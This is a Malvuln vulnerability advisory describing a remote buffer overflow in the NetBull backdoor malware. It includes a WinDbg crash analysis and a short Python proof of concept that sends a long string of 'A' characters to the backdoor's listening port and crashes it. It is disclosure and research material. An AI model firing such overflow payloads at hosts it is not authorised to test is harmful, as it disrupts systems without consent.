Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/80e98fdf726a3e727f3414bdbf2e86bb.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NetBull.11.a
Vulnerability: Remote Buffer Overflow
Description: Netbull listens on both TCP ports 23444 and 23445, sending a large string of junk chars causes stack corruption overwriting EDX register.
Type: PE32
MD5: 80e98fdf726a3e727f3414bdbf2e86bb
Vuln ID: MVID-2021-0035
Dropped files: c:\infected.exe 
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/18/2021

Memory Dump:
EAX : 70D87B24     mfc42.70D87B24
EBX : FFFFFFFF
ECX : 2E240010
EDX : 41414140
EBP : 028F86A8
ESP : 0019F8C4
ESI : 2E240000
EDI : 3FFFFFC2
EIP : 70CA85D5     mfc42.70CA85D5


(1a2c.13f4): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=2e05f010 edx=41414140 esi=00000003 edi=00000003
eip=773ced3c esp=0019ef84 ebp=0019f114 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
773ced3c c21400          ret     14h


0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP: 
mfc42!CString::CString+5
73c685d5 8901            mov     dword ptr [ecx],eax

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 73c685d5 (mfc42!CString::CString+0x00000005)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 2e05f010
Attempt to write to address 2e05f010

PROCESS_NAME:  Backdoor.Win32.NetBull.11.a.80e98fdf726a3e727f3414bdbf2e86bb.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  2e05f010

WRITE_ADDRESS:  2e05f010 

FOLLOWUP_IP: 
mfc42!CString::CString+5
73c685d5 8901            mov     dword ptr [ecx],eax

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  000013f4

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_READ_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff

PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_ffffffff

DEFAULT_BUCKET_ID:  INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_ffffffff

LAST_CONTROL_TRANSFER:  from 00407f45 to 73c685d5

STACK_TEXT:  
0019f8c0 00407f45 2e05f000 2e05f000 0019f8ec mfc42!CString::CString+0x5
WARNING: Stack unwind information not available. Following frames may be wrong.
0019f8d8 00407efb 043448fc 41414141 0019f9bc Backdoor_Win32_NetBull_11_a_80e98fdf726a3e727f3414bdbf2e86bb+0x7f45
0019f8f4 00407408 2e05f000 2e05f000 00000001 Backdoor_Win32_NetBull_11_a_80e98fdf726a3e727f3414bdbf2e86bb+0x7efb
00000000 00000000 00000000 00000000 00000000 Backdoor_Win32_NetBull_11_a_80e98fdf726a3e727f3414bdbf2e86bb+0x7408


SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  mfc42!CString::CString+5

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: mfc42

IMAGE_NAME:  mfc42.dll



Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=23444

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    PACKET="A"*666

    s.send(PACKET)
    s.close()
    print("Backdoor.Win32.NetBull.11.a / Remote Buffer Overflow");
    print("MD5: 80e98fdf726a3e727f3414bdbf2e86bb");
    print("By Malvuln");

if __name__=="__main__":
    doit()


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